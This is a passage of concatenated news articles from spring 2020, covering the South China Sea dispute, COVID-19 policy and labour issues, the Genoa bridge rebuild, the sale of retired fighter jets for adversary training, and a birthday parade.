U.S. Navy described the Chinese move as an act deemed unsafe and a violation of international codes and agreements. Chinas defense ministry, however, rejected the U.S. claim. Ministry spokesman Ren Guoqiang told reporters in Beijing last month that Chinese ships were conducting routine exercises in international waters when the incident allegedly happened. He accused the P-8A Poseidon aircraft of carrying out an unfriendly behavior, including long periods of low-altitude reconnaissance despite repeated warnings from the Chinese side. Sending a message to China The Chinese moves in the sea that drew the diplomatic protests from Manila occurred as the Philippines and other Southeast Asian nation were busy with curtailing the spread of the coronavirus in their territories. A Filipino maritime expert, Jay Batongbacal, said China was taking advantage of its medical assistance to help Southeast Asian nations battle the pandemic to prevent a pushback in the maritime region. One could argue that [Beijing] is using this cooperation as a way to leverage against any actions or protests against China for its activities in the West Philippine Sea, Batongbacal, told local television ANC on Monday, using the Philippine name for the South China Sea. This is taking place simultaneously with their medical aid and assistance and offers of cooperation on this pandemic, said Batongbacal, director of the University of the Philippines Institute for Maritime Affairs and Law of the Sea. On Monday, retired Philippine Supreme Court judge Antonio Carpio told foreign correspondents in Manila that the Philippines should join forces with neighbors Vietnam and Malaysia, and possibly other countries, in conducting joint patrols to deter further Chinese aggression in the South China Sea. Doing so, he said, would send a message that China cannot pick us out one by one. But Presidential spokesman Harry Roque said the government did not agree with Carpio, although he acknowledged that the former justices suggestion of joint patrols with neighbors appeared to be sound. Suggestion well-taken, although we do not agree with the personal opinions of Justice Carpio on what China is doing. But the suggestion on joint patrol is well-taken, it will be considered, Roque told reporters on Tuesday, as he reiterated that the government would assert territorial sovereignty against China. We do not agree with that conclusion, although the current policy is that we will defend all our national territory and our sovereign rights, he said. US sends combat ship to sea region Meanwhile, the USS Gabrielle Giffords, a littoral combat ship, left port in Singapore for the South China Sea on April 25 and sailed near the site of a survey being conducted by the Chinese vessel Hai Yang Di Zhi 8, according to vessel-tracking software. The presence of the USS Gabrielle Giffords in the disputed sea region was confirmed by the U.S. Indo-Pacific Command in a news release. As of Tuesday, the Hai Yang Di Zhi 8, a survey ship at the heart of current tensions in the South China Sea, was operating in waters jointly claimed by Vietnam and Malaysia. It has been escorted by Chinese coast guard ships. The USS Gabrielle Giffords joins the USS America, USS Bunker Hill, and USS Barry in demonstrating the American naval presence in the South China Sea. They were recently joined last week by Australian frigate HMAS Parramatta in a joint exercise. The KD Kelantan, a Royal Malaysian Navy warship, has also been patrolling the area. On Tuesday, Beijing sent an aircraft battle group through the Miyako Strait, between Japan and Taiwan, according to a news release from the Japanese defense ministry. The release said Chinas aircraft carrier Liaoning was spotted moving with two frigates, two destroyers and a high-speed support ship toward the East China Sea. Meanwhile, the Peoples Liberation Army-Navy Southern Theater released a statement on Tuesday accusing the USS Barry of violating Chinas territory in the Paracel Islands. China claims most of the South China Sea on historical grounds, including areas that reach the shores of its smaller neighbors. Apart from the Philippines, Vietnam, Malaysia, Brunei and Taiwan also have overlapping claims over the region. Reported by BenarNews, an RFA-affiliated online news service. UK coronavirus response utterly hypocritical, says UN poverty expert by Robert Booth April 28,2020 | Source: The Guardian The United Nations poverty expert Philip Alston has attacked the UK governments coronavirus response as utterly hypocritical after successive administrations implemented policies of austerity and public-sector cuts. The UN rapporteur on extreme poverty, who in 2018 issued a blistering attack on Conservative welfare policy, also said that globally the most vulnerable have been short-changed or excluded by official responses to the disease, which had claimed over 203,670 lives by Sunday evening, according to Johns Hopkins University. The policies of many states reflect a social Darwinism philosophy that prioritises the economic interests of the wealthiest while doing little for those who are hard at work providing essential services or unable to support themselves, Alston said, warning that the pandemic could push more than half a billion additional people into poverty globally. Governments have shut down entire countries without making even minimal efforts to ensure people can get by, he said. Many in poverty live day to day, with no savings or surplus food. And of course, homeless people cannot simply stay home. He highlighted how the most vulnerable populations had been neglected, which forces them to continue working in unsafe conditions, putting everyones health at risk. And he warned that, while some nations were seeing curves flattening, the virus was poised to wreak havoc in poorer countries. As for the UK, Alston told the Guardian, my thoughts of course hark back to the sense of how utterly hypocritical it is now to abandon austerity with such alacrity, after all the harm and misery caused to individuals and the fatal weakening of the communitys capacity to cope and respond over the past 10 years. And of course, many of the worst and most damaging aspects of austerity cannot and will not be undone. The damage caused to community cohesion and to the social infrastructure are likely to prove permanent. His comments are likely to anger ministers in the UK, who have said their strategy is to put their arms around every single worker while adopting an everyone in policy to tackle the risk to rough sleepers. They have sanctioned huge cash injections into wages and businesses to prevent economic collapse, and the chancellor, Rishi Sunak announced 14bn for the NHS and local authorities fighting the virus. But other parts of the social fabric have been stretched. Food banks, which give out at least 1.6m parcels a year, have lacked supplies while care homes, where thousands are dying from Covid-19, have struggled for essentials including PPE and to maintain staffing levels. There have been real-terms cuts in public funding of social care in the UK, according to the Kings Fund thinktank, with a 700m reduction between 2011 and 2018. This pandemic has exposed the bankruptcy of social support systems in many countries. Alston said. While some governments have embraced far-ranging measures previously dismissed as unrealistic, most programmes have been short-term, stop-gap measures that merely buy time rather than address the immense challenges that will continue well into the future. Now is the time for deep structural reforms that will protect populations as a whole and will build resilience in the face of an uncertain future. A government spokesperson said: We have a strong record on supporting hardworking people across the country as well as our most vulnerable, reaching record employment over the last ten years and with both income inequality and absolute poverty lower than in 2010. These are unprecedented times and its right that we do everything we can to support people through this difficult period, including increasing Universal Credit by up to 1,040 over a year. 2020 Guardian News & Media Limited or its affiliated companies. All rights reserved. Theme(s): Others. (Photo : Apple) U.K. Rejects Apple-Google COVID-19 App; Proposes 'Centralized' Contact Tracing (Photo : LUCAS JACKSON on Reuters ) U.K. Rejects Apple-Google COVID-19 App; Proposes 'Centralized' Contact Tracing The United Kingdom's National Health Service (NHS) has said that the proposed Apple-Google Coronavirus app plan won't work on the country. With the security issues surrounding the app, the health agency rejects how the app proposedly works. The NHS said that the software can be used by the British government on one condition-- by introducing a centralized contact tracing. U.K. doesn't like how Apple-Google COVID-19 app works READ ALSO: COVID-19 Update: 9 People Infected Because of Air-Conditioning; Don't Use AC, Experts Say In a recent report of BBC, the government of the U.K. has identified a few risks on how the app is proposed to be used by citizens. The agency said that the Apple-Google COVID-19 app may work "sufficiently well" on iPhones if only the app won't excessively use battery life. Since the app will work as a digital contact tracer that collects data and alarms, anyone that has a contact with a positive patient, Apple, and Google, said that the app may cost heavy energy from the phones-- since it needs to be kept active and on-screen to work. This is what NHS does not want for their COVID-19 app. NHS clarified that there could be ways for the app to work without using too much battery life from the users' phones. This is where the idea of a "centralized" contact tracing app occurs. READ ALSO: [BREAKING] COVID-19 Update: New Zealand 'Eliminated' Virus Saying "We Have Won That Battle" What is the "centralized" COVID-19 app? As explained via BBC, a centralized contact tracing app or COVID-19 app is designed to alert people that had close contact with a patient automatically. What's the difference in the proposed plan by Apple and Google will be where the info will be generally stored. Compared to Apple-Google which has a "decentralized" approach-- where the matches take place on the user's devices, the centralized approach will depend on a computer server. This technology will save all the personal info and will primarily send the alerts on potential carriers. "One of the advantages is that it's easier to audit the system and adapt it more quickly as scientific evidence accumulates," Prof Christophe Fraser, one of the epidemiologists advising NHSX, told the BBC. "The principal aim is to give notifications to people who are most at risk of having got infected, and not to people who are much lower risk. It's probably easier to do that with a centralized system." Not everyone likes the "centralized" app As usual, not everyone on the British government has the same mindset as the agency. Apple and Google, mainly, expressed their dismay with what the U.K. wants for the app. They believed that the app will work and provide more privacy with their plan since it limits the access of hackers to infiltrate the database-- using only a computer server. As of now, the finalities about the app are still being discussed by both parties. 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Since the start of the COVID-19 outbreak, workers who fear contracting the virus have filed more than 200 work refusals. But the Ontario Ministry of Labour has not upheld a single one, after quietly establishing an internal committee to oversee inspectors enforcement efforts during the pandemic, the Star has learned. Work refusals in Ontario spiked to a high point in mid-March, when there were 83 in a single week. Its a significant increase from January and February, when the province averaged less than four work refusals a week according to ministry data. In total, there have been 213 COVID-19 related work stoppages from workers who believed their jobs presented a danger to their health. None met the ministrys criteria for a work refusal, spokesperson Janet Deline said. For workers to refuse work, the danger must be based on current conditions theyre exposed to. For example, a machine theyre asked to use lacks the proper guarding, she said. If a work refusal does not meet the criteria, then the issue will be dealt with as a complaint. Complaints can still result in orders and requirements being issued. Our ministry has issued 1,386 orders related to COVID-19 which have made workplaces safer. Employers have a legal obligation to take every reasonable precaution to protect workers from injury and illness including from infectious disease. Typically inspectors will issue orders requiring employers to comply with health and safety laws within a certain time frame, either through proactive inspections or in response to reported issues. Often inspectors will issue multiple orders on a variety of issues at a single workplace. Work refusals are more serious because they involve a work stoppage and are usually dealt with more quickly. Based on the ministrys investigation, the worker may not return to the job until the hazard has been resolved. Ryan White, a labour lawyer and partner at Toronto-based firm Cavalluzzo, said he has spoken to around a dozen workers since the start of the pandemic about unsafe work but none felt comfortable filing work refusals. Given fears of reprisal in a highly unstable job market, White described the recorded number of COVID-19 work refusals as incredibly high. Work refusals are really serious things. When you think about it from the perspective of a worker, its a worker essentially going on a ministrike, he said. Its kind of hard to believe that not a single one out of all of those was upheld. Robust and independent enforcement by the Ministry of Labour plays a significant part in containing outbreaks, according to the SARS Commission that investigated the governments response to the 2003 epidemic. Looking at health care employers in particular, the commission found numerous failures to comply with legal obligations to protect workers, as well as widespread, persistent and ingrained failures by the Ministry of Labour to enforce workplace safety laws. Now, there are fears that history is repeating itself. Last week, the Ontario Federation of Labour wrote to the Ministry of Labour raising concerns that work refusals related to COVID-19 are not being taken seriously and that inspectors are being handcuffed by red tape and bureaucracy. We need to ensure that their workplaces are safe, said OFL president Patty Coates in an interview with the Star. Sidelining the ministry just as they were sidelined during the SARS crisis does not support our workers. The COVID-19 pandemic prompted the ministry to set up an internal body initially called the Work Refusal Advisory Committee now the COVID-19 Advisory Team, the Star has learned. Reports and orders issued by health and safety inspectors must be sent to the lawyers and managers who make up the team, leading to concerns about a chilling effect on investigations. Inspectors are being told to send their reports and orders to lawyers and managers within the Ministry, said Smokey Thomas, president of the Ontario Public Service Employees Union that represents ministry inspectors. This is not normal. Inspectors are telling us that they cant do their jobs, he added. They are on the front lines. They hear and see the situation first hand. No one in a downtown office can make the decisions that our members can. A ministry statement to the Star did not address questions about whether the advisory committee vets inspectors orders and investigations. Spokesperson Janet Deline said the committee was made up of program experts, including Infection Control Specialists. These experts help determine how emergency orders, directives from the Chief Medical Officers of Health and other documents apply to our enforcement of the Occupational Health and Safety Act (OHSA), she said. Deline said inspectors rely on ministry of health guidelines to inform their decision on whether employers are adequately protecting workers from contracting the virus. Many of those guidelines are not directly related to worker health and safety, she noted. Only those which are also relevant to specific sections of the OHSA, and relate to non-compliance of the OHSA and regulations, can be enforced. But a recent report from a Ministry of Labour-funded disease prevention body warns provincial guidelines on COVID-19 protections, especially on wearing masks, do not embody the precautionary principle advised by the SARS commission. The precautionary principle says safety must come first and that reasonable efforts to reduce risk need not await scientific proof. The number of work refusals on the books is particularly alarming, White said, because many essential workers cant even file work refusals in some cases. Health-care workers, for example, can only refuse unsafe work if it will not endanger someone in their care. Couriers and truckers delivering essential goods during the province-wide shutdown are often misclassified as independent contractors and may not know what their rights are when it comes to refusing unsafe work. The data requested by the Star shows that around half of all work refusals filed since mid-March were from employees in industrial environments; only 29 were from health-care workers. In April, 38 TTC bus drivers refused work citing mask scarcity and other safety concerns. The ministry did not uphold the work refusal. While the Ministry of Labour has issued almost 1,400 COVID-19 related health and safety orders, White said that number appears relatively low. Last year when there was no large-scale outbreak of a highly infectious virus the ministry issued an average 10,800 health and safety orders a month to Ontario employers, according to its annual report. The number of COVID based orders is smaller than one would expect to see during a once in a hundred years pandemic, said White. In some key cases, inspectors do not appear to be issuing orders at all. Last week, the Service Employees Union of Canada filed an emergency application to the labour board seeking immediate intervention at three long-term care homes that have seen some of the deadliest outbreaks of the virus. The submissions alleged serious issues with personal protective gear and safety protocols, and said at least two of the homes were the subject of ministry inspections one of which took place over the phone. The submissions said the ministry did not issue any health and safety orders. On Friday, the board ordered mandatory physical ministry of labour inspections at each of the facilities every week. Research shows that front-line essential workers are more likely to be low-wage and racialized, although the province is not collecting data on race and occupation amongst COVID-19 patients. Some public health units are now collecting this information on their own. So far, the workers compensation board has approved 159 claims from workers who contracted the virus on the job; 1,900 further claims are still be adjudicated. White said it was critical for the government to conduct proactive inspections in essential workplaces, rather than relying on workers coming forward. The incredibly high number (of work refusals) suggest people feel very, very unsafe, he said. The Ford government has essentially forced a number of people to go to work without providing the enforcement mechanisms which would ensure that there are adequate protections in place to protect workers and their families. Deline said in response to the outbreak, the ministry has conducted proactive inspections in the construction and food processing sectors. The ministry conducted proactive inspections in these sectors in response to the growing concerns of Ontarians and the increased risk associated with the difficulty of maintaining physical distancing at these workplaces. The ministry plans to engage with other essential businesses sectors in the future to help ensure workers are protected and help stop the spread of COVID-19, she said. Coates said the ministrys initiatives do not go far enough, especially given the ongoing crisis in the provinces long-term care homes. We need to ensure that workers are safe, that workers have personal protective equipment. We see the wildfire that has been set off because we didnt have that place. Because we didnt have the proper protocols in place, she said. I hear the government saying, heroes, heroes, heroes. And yet they are not doing what they need to be doing. ROME - Nearly two years after a highway bridge in Genoa collapsed and killed 43 people, workers moved the final piece of a replacement span into place Tuesday in a milestone hailed by Italys premier as a symbolic show of unity and hope amid the coronavirus emergency. As church bells tolled and fog horns blared, the central chunk of roadway was hoisted into position above now-abandoned homes and businesses lining the dry Polcevera riverbed. The installation of the final segment marked the completion of structural work to reunite two sides of Genoa, but the bridges actual reopening is several months off. Premier Giuseppe Conte made a rare outing from Rome to attend the ceremony, following stops Monday in Lombardy, the region hardest-hit by the virus pandemic. Wearing a hard hat and a neon construction vest over his suit, Conte said the completion of the bridge sutures a wound, reconnecting a fundamental artery to the centre and heart of this community and city. He said the new bridge also provides an image of Italian strength and ingenuity in the face of tragedy that can serve as a model as Italy struggles to emerge from the tragedy of the pandemic. Recalling the Genoa lighthouse, a symbol of the port city, Conte said Genoa today casts a light of hope on the whole country. Today, with this light from Genoa, we are giving a new face to all of Italy, the premier said. The replacement bridge is in the same area as the original Ponte Morandi, which was demolished after it collapsed on Aug. 14, 2018. The original bridge, named for the engineer who designed it, Riccardo Morandi, was built during the 1960s and became a key artery for Ligurian coastal communities and link from Italy to France. Morandi warned a decade after the bridge opened that it would need continuous maintenance to remove rust given the effects of corrosion from sea air and pollution on the concrete. The spans collapse, with dozens of cars and trucks on it, was the most deadly in a series of bridge disasters in recent years and exposed the horrific state of Italys aging road infrastructure. It subsequently emerged that authorities were aware the Ponte Morandis concrete had corroded over time and that the bridge was structurally compromised. Criminal investigations were opened to ascertain blame. Italian architect and Genoa native Renzo Piano was selected to design the replacement bridge. Construction work continued even after most Italian industry came to a halt last month to prevent the spread of the coronavirus. Italy is the European epicenter of the pandemic and one of the worlds worst-hit countries. The government has reported more than 26,000 virus-related deaths, half of them in the northern Lombardy region. Nearby Liguria, of which Genoa is the capital, has more than 7,000 confirmed cases and more than 1,000 dead. The Union of Banks of Armenia has issued the following statement: Banks in Armenia continue to operate on a regular basis. Despite the negative phenomena in the financial markets of the region and in certain countries, Armenian banks remain sufficiently capitalized and liquidable as they continue to serve their customers. Commercial banks are also engaged in the anti-crisis programs being implemented by the Government of Armenia and provide assistance to ensure accessibility of the funds being provided by the Government. Back in March, the commercial banks of Armenia informed that the names of natural persons wouldnt be in the so-called black lists, if they failed to make their loan payments in the course of the upcoming two months and that, in the case of legal entities, banks would show an individual approach and support them as well. The banks of Armenia express gratitude to the customers who, during this period, make their loan payments in any case and helped make the banking system strong with their line of conduct. The banks of Armenia also thank all customers for being with us and call on their customers to continue to receive online services. MEXICO CITY The coronavirus pandemic has upended the lives of many of Latin Americas household maids, leaving them without work or government assistance or effectively trapping them inside the homes of their employers because of government-ordered lockdowns. Millions of domestic servants are woven into the fabric of family life throughout the region, where even lower middle-class families often have hired help. They are paid as little as $4 per day, under the table, with no benefits. Servants frequently care for their employers children as much or more than they can care for their own, as depicted in the 2018 Oscar-winning movie Roma. Maids sometimes live in rooms on the roofs of their employers homes or rent rooms atop tenement apartment buildings. Now the virus has resulted in hundreds of thousands of domestic workers being let go or unable to leave their employers homes, even on days off or to visit their own families. One 35-year-old Mexico City maid, a single mother with two children, had worked for the same family for seven years until March, when they told her she was no longer needed. They only paid me the last week of work, and now I dont have money for even the basic necessities for my two little kids. Even when I was working, I was living hand to mouth, she said. She feels trapped. She cannot go out looking for a new job because it would risk exposing herself and her family to contagion. And with no job contract, health care or formal employment history, she isnt eligible for most government aid. In Mexico and around the whole world, there isnt just this one pandemic, there are two: COVID-19 and inequality, and its the inequality that has me more isolated than ever, said the maid, who spoke on the condition of anonymity because she feared being denied references. The first person to die of COVID-19 in Brazils Rio de Janeiro state was a 63-year-old domestic worker in one of the countrys wealthiest neighborhoods, Leblon. Her employer was infected during a trip to Italy, but the maids family members said she was not informed that her boss was in isolation awaiting test results, according to Camila Ramos de Miranda, health secretary of the workers hometown, located two hours north of Leblon. Domestic work has even become a topic on social media in Brazil. Actress Maite Proenca posted a humorous video with instructions on how to vacuum for people, like her, who are doing so for the first time. She said one side effect is learning to value those who do it on a daily basis. She recommended her followers continue paying their maids while they are in their home. You can do it, and she deserves it! Proenca wrote. A nationwide survey of 1,131 people in Brazil conducted in mid-April by research company Locamotiva found 39% of employers with daily domestic workers had laid off their employees without pay. The same percentage had put their domestic workers on leave but continued to pay them, and almost a quarter still had their maids working. The poll had a margin of error of plus or minus 2.9 percentage points. In Mexico, those who still have jobs face being stuck inside with their employers and increased workloads from families who now spend all day at home. Some employers have prohibited maids from going out for any reason even to visit their children on days off or to see a doctor for fear they could pick up the virus and bring it back. Today I feel very bad, so I asked for permission to go the hospital, said one domestic worker who declined to use her name for fear of reprisals. My employer said I couldnt go. She said, Dont you remember, we cant go out? But she still has people coming in to visit her. How is that a quarantine? Marcelina Bautista, who runs the Center for Support and Training for Domestic Workers, said the organization knows of live-in workers whose employers have forbidden them from leaving since early March. That implies they have to work around the clock, Bautista said, adding that some employers limit their workers from going out, but still send them to buy things. So where is the precaution? Maria Isidra Llanos, the general secretary of the National Union of Domestic Workers, complained that employers are also asking domestic workers to use more aggressive cleaning agents in hopes of killing the virus. Chlorine bleach, when mixed with almost anything other than water, can release toxic vapors. They tell us Just smelling it makes my face swell up,' Llanos said. One maid said her employers left Mexico City when the lockdown started, and she has no idea when they will return. They havent called me, and they dont answer, she wrote to the union. The only thing I do know is that I have been left without an income. I am a single mother and I pay rent. Right now, I am making Jell-O and salsa to sell to my neighbors, but I havent had much success. Llanos said many union members make a grim prediction about their future: If the virus doesnt kill them, hunger will. ___ Associated Press writers David Biller in Rio de Janerio and Debora Rey and Mayra Pertossi in Buenos Aires, Argentina, contributed to this report. The Australian air force has sold 46 retired F-18A twin jet fighters to a commercial firm, Air USA that uses retired jets and retired fighter pilots to carry out pilot and air combat training for the military. This sort of thing has become a big business and began with the American military and spread to a growing number of other nations as well because the training is excellent and cheaper than using active-duty pilots and their aircraft to do it. Because the training aircraft are unarmed, and without any top-secret gear, its practical to use older jets to represent the types of aircraft an enemy might use. Australia obtained 75 F-18A/B fighters in the 1980s to replace older French Mirage III fighters. The F-18As are often used to represent a number of different Russian jets during training. Mirage type fighters are also sought for air combat training. In 2017 Mirage F1 fighters were being retired from active service and most of these retired Mirages were bought by ATAC and Draken, the two major American firms that provide adversary aircraft to train combat pilots, mainly for the U.S. Air Force and U.S. Navy. The most recent Mirage F1 sale was to Draken International, which bought 22 of them from the Spanish Air Force which had retired its Mirage F1M (M is for modernized, in the 1990s) in 2013 but kept them in good condition because these aircraft have been very popular on the used-fighter market. Earlier in 2017, France sold 63 retired Mirage F1s to Drakens major competitor ATAC (Airborne Tactical Advantage Company). In both cases, the Mirage F1 was to be used as adversary aircraft to train combat pilots. Most recent sales of Mirage F1s have been to these commercial firms like ATAC and Draken that will modify, or even refurbish the Mirage F1s for combat training. The retired Mirages sold for a few hundred thousand dollars each. The F-18As were not much more expensive. ATAC (a division of Textron) and Draken (independent) are two of about a dozen American and foreign firms that, in the 1990s, pioneered the business of providing flight and combat training mainly to the American military (air force, navy and marines) as well as foreign customers. This is a rapidly growing business for the simple reason that it is cheaper and more effective than even large air forces doing it themselves. Air USA is one more successful private firms hiring retired combat pilots and using much less expensive aircraft for this training. A Mirage F1, for example, is much cheaper (about one fifth the cost) to operate per flight hour than F-16s or F-18s. Using more experienced retired pilots is also cheaper and more effective because the adversary aircraft are being operated by pilots with a lot more combat flying experience. The use of contractors for military functions proliferated after the Cold War ended in 1991, especially in the United States and Europe. This was nothing new. The CIA, and later SOCOM (Special Operations Command) have long used contractor firms for logistics and air transport, especially in parts of Asia, South America and Africa where even civilian charter airline service was not available, or simply because the missions were classified. ATAC and Draken are the largest commercial firms providing military flight training because they were pioneers and have taken on a wide range of training. This began with basic flight training but then both firms expanded into training for combat pilots and that included adversary training that uses Western aircraft and veteran military pilots or accurately represent potential enemy warplanes. In the past, the American A-4 and F-5 were popular for this task. But potential foes are using more capable fighters and the Mirage F1, which entered service in the mid-1970s and often were upgraded, became a popular choice for adversary training. The Spanish Air Force Mirage F1Ms have radars and fire control systems that were modernized in the mid-1990s and remain competitive with those found in the most capable hostile aircraft American fighter pilots can expect to encounter. France retired the last of its Mirage F1s in 2014 but this aircraft is still used by some countries (Gabon, Iran, Libya and Morocco) and the manufacturer long provided refurbishment and upgrade services for the 720 built through 1992. The Mirage F1 is a 16 ton interceptor that can only carry two tons of weapons. With modern electronics and missiles, it is still a formidable air defense aircraft. ATAC got the Mirage F1s for a few hundred thousand dollars each and France will have them demilitarized (all classified or strictly military equipment removed) and ATAC will then have about half of them modified to act as various types of potential enemy fighters. The rest of the Mirage F1s will be used for spares which will enable ATAC to use some of the Mirage F1s for a decade or more. Draken paid more for the Spanish Mirage F1Ms mainly because these aircraft had more modern electronics from the 1996 upgrade that cost over $4 million per aircraft. The 23 ton F-18A is now popular for its ability to emulate late-model Russian 34 ton Su-27/30 aircraft. The F-18A entered service in 1983, 13 years before the Su-30 arrived to provide competition for the F-15 and 30 ton F-18E that showed up in 2001. The F-18A is a bit smaller than the F-18E but is an affordable stand-in for the Su-30. Since the late 1990s, the use of retired combat personnel as "adversary pilots" became more popular and contractors soon expanded that that to supply adversary aircraft as well. In the 1990s civilian instructors were already being used for part of military flight training. But with so many pilots getting out, the navy and air force could no longer afford to provide military pilots to play the role of the bad guys in "Top Gun" type exercises. Former military pilots were hired to play the bad guys and were very good at it became many had done that sort of thing before they retired. China on Tuesday called on all countries of the five-member BRICS bloc to unite and "do the right thing" in the face of the COVID-19 pandemic, amid mounting pressure from the US and other countries on Beijing over the origins of the coronavirus. With its rapid spread in many parts of the world, the COVID-19 has put the lives and health of people around the world under grave threat, seriously disrupted the flow of people worldwide and the global economy, and posed a severe challenge to BRICS (Brazil, Russia, India, China and South Africa) countries, Chinese Foreign Minister Wang Yi said while speaking at a video conference of the BRICS' foreign ministers. "Should we let science and reason prevail or create political divisions, bolster cooperation across borders or isolate ourselves through decoupling, promote multilateral coordination or practice unilateralism? We all need to answer these questions in a way that stands the test of history," said Wang, who is also the State Councillor. While US President Donald Trump has stepped up calls for a probe into the origin of coronavirus, which emerged first from Wuhan, Britain, Australia and German Chancellor Angela Merkel have called for more transparency from Beijing on COVID-19 origins. China says the origin of the virus is a matter of science and should be studied by scientists and professionals. Wang said as representatives of major emerging countries with global influence, the BRICS countries much act in the interest of the well-being of humankind, and stand by justice and equity. "We must make the right call and do the right thing," he was quoted as saying by the state-run Xinhua news agency reported. "We must work together to sustain a peaceful and stable international environment and foster brighter prospects for win-win progress," he said. Wang called on all BRICS countries to stand firm by multilateralism, by the UN-centred international system and by the purposes and principles of the UN Charter. Trump has withdrawn over USD 400 million funding for the World Health Organisation (WHO), accusing it of backing China in "cover-up and underreporting" of coronavirus cases. For its part, China which has announced USD 30 million additional funding to the WHO has staunchly defended its role and the health agency's Director General Dr General Tedros Adhanom Ghebreyesus. "We need to champion the approach of consultation and cooperation for shared benefits in governance, and take the lead in advancing global governance reform along the right direction," Wang said. He called on BRICS countries to safeguard through the joint efforts the legitimate rights and interests and space for development "not just for ourselves but also for all other emerging market and developing countries." Wang asked the countries to enhance coordination on macroeconomic policies to curb recession, create jobs, protect livelihoods and stabilise the global economy. He also called for sustaining coordination to keep up the secure and smooth functioning of global industrial and supply chains. "The sudden onslaught of COVID-19 reminds us once again that our interests are closely entwined and so are our futures," Wang said. A challenge that respects no border and makes no distinction of ethnicity has only made global governance more important, not less, he said. In response to some arguments that the world will never be the same again after the COVID-19, Wang said China's strategic assessment was that the pandemic will not change the theme of the times which remains peace and development. He called on countries to bear in mind both immediate needs and longer-term objectives and promote both their own interests and global well-being. The conference also discussed the activities to be undertaken under Russian BRICS Chairmanship in 2020. It was chaired by Russian Foreign Minister Sergey Lavrov. Besides India's External Affairs Minister S Jaishankar, the conference was attended by Wang, Brazilian Foreign Minister Ernesto Araujo and South Africa's Minister for International Cooperation Grace Naledi Pandor. The BRICS represents over 3.6 billion people, or half of the world population and has a combined GDP of USD 16.6 trillion. The family and friends of a beloved 100-year-old grandfather ensured that he got the party of a lifetime to celebrate his centennial milestone - despite the coronavirus pandemic putting an end to their original plans. Peter Zagara - who is known to his loved ones as Pop - from Toms River, New Jersey, turned 100 on April 13, however the day before his three-figure birthday, his family and friends threw him an unforgettable socially-distant parade party that saw dozens of his nearest and dearest driving past his home to offer up their well wishes. The surprise curbside celebration moved Peter to tears of joy, according to his grandson PJ Franovic, 35, who revealed that the man of the hour was stunned by the sweet parade. Man of the hour: Peter 'Pop' Zagara, from Toms River, New Jersey, got the surprise of a lifetime when his friends and family organized a parade for him in honor of his 100th birthday Stunned: The 100-year-old WWII veteran was supposed to have had a party thrown in his honor, but it had to be canceled because of the coronavirus pandemic Pushing through: Instead of a party, Peter's family and friends arranged a parade, which saw dozens of his nearest and dearest driving past his home with balloons and banners 'He was definitely crying, overwhelmed,' PJ told Good Morning America. 'He said, "I never saw anything like that."' A sweet video of the surprise, which was filmed and shared by PJ, shows Peter coming out of his New Jersey home and walking into the driveway - while someone blasts his favorite song, Frank Sinatra's Come Fly With Me, out of a large amp. Peter asks his grandson what is going on, to which PJ replies: 'Well it's your birthday Pop, and you're turning 100! And we've got to make sure that you have a party with the right amount of people for it, so we've got some people driving down.' When asked how he feels to be turning 100, Peter replies: 'I can't believe it.' And it's then that Peter catches sight of the line of cars turning onto his street, and is left open-mouthed in shock, bringing his hand to his face as cars from the local police and fire departments drive past - followed by a host of other vehicles. Peter begins smiling and waving to the cars, many of which have signs taped to them wishing the man of the hour a very happy birthday, while his grandson exclaims: 'This is for you, Pop!' 'When you turn 100, not even coronavirus should stop the celebration,' PJ wrote while sharing the video on Instagram. Emotional: The sweet celebration moved Peter to tears of joy, his grandson PJ Franovic said Toot toot! The local fire and police departments joined in the parade after Peter's family called to ask if they would take part and honor him Party! Multiple fire engines and police cars drove past Peter's home with their sirens blaring 'We all love this man too much to let a tiny little Global Pandemic get in the way. Happy Birthday Poppa! What an incredible life youve had so far and hopefully, many more years to go. 'Thank you to all the friends and family that came out. Thank you to the local Police & Fire Departments for making it truly memorable. See you all again at 101! Buon compleanno nonno!!' Peter's birthday parade continues with a line of fire engines and cars driving down the street while blaring their sirens - and they are closely followed by a taco truck that has '100' written on its side. Indeed the only bittersweet element to Peter's special day was that he was unable to hug his nearest and dearest to say thank you, with PJ revealing that he was desperate to embrace his grandfather, but knew he had to put the 100-year-old's health and safety first. 'He was trying to get close and hug but I couldn't,' he told GMA. Peter, his grandson revealed, has led quite the incredible life, with PJ sharing that the 100-year-old is a WWII veteran who fought for Italy, and then spent five years as a prisoner of war in England. After returning home, Peter married his late wife Grace, and the couple had two children together. After her death, Peter remarried a woman named Luda, whom PJ praised for looking after his grandfather so well. Legend: 'We all love this man too much to let a tiny little Global Pandemic get in the way. Happy Birthday Poppa!' PJ wrote on Instagram while sharing a video of the celebration Special: Peter's grandson PJ, 35, told Good Morning America that his grandfather felt like a 'rockstar' after the surprise celebration Teamwork: PJ helped to organize the event with his sister Stefanie (pictured right) 'I firmly believe he wouldn't have made it to 100 if it wasn't for her and the bond they have,' he revealed. PJ, who organized the parade alongside his sister Stefanie and his wife Theresa Bufano, who is expecting the couple's first child, added that his grandfather felt like a 'rockstar' after the special celebration. 'He feels like it's his world and we're all living in it and that's how I want it to be,' the proud grandson said. PJ's video sparked a slew of comments from Instagram users, many of whom shared warm wishes for Pop. 'I just [love] this,' one person wrote. 'This is very beautiful. This was posted by our local news station in Toronto [and] I had to see the whole video. HBD to your grandpa!' Another chimed in: 'Happy Birthday sweet Pop!!!! Here is to many more happy years!' 'Happy belated birthday Poppa, that just melted my heart,' one user added. Victoria Beckhams clothing brand is being sued by a former employee who allegedly suffered a hand injury. Pattern cutter Kristina Kubiliene worked for Victoria Beckham Limited at its studio in Hammersmith, west London, for nearly eight years but left after developing carpal tunnel syndrome, her lawyer said. She allegedly worked up to 15 hours a day for seven days a week in the run-up to New York Fashion Week, handling heavy fabrics and equipment. Eventually, she needed surgery and has been left barely able to open her handbag, it was claimed. On Tuesday, Natasha Moyeed, from Slater and Gordon, said: Kristina worked for Victoria Beckham Limited from November 2011 to August 2019 and absolutely loved her job working at the London studio in Hammersmith. She was a pattern cutter and very good at this job, but because she was good she was tasked with working for long periods and with heavy fabrics. It was these repetitive, awkward and sustained movements which cause carpel tunnel syndrome to advance rapidly in her hands and wrists. When I last saw her she could barely open her handbag. She is unable to work and has had to undergo surgery to have any kind movement in her hands. She is still unable to work and has such a weak grip she needs help around the home to do basic tasks. It is not known when, if ever, she will be able to return to a similar role, or any kind of employment Natasha Moyeed, lawyer for Kristina Kubiliene Ms Moyeed said her clients job had involved lifting rolls of fabric, weighing between 44lb (20kg) and 77lb (35kg), then laying out and pinning the fabric to patterns. Video of the Day Once pinned, she would shrink the fabric with a heavy industrial iron, said Ms Moyeed. The whole procedure would take 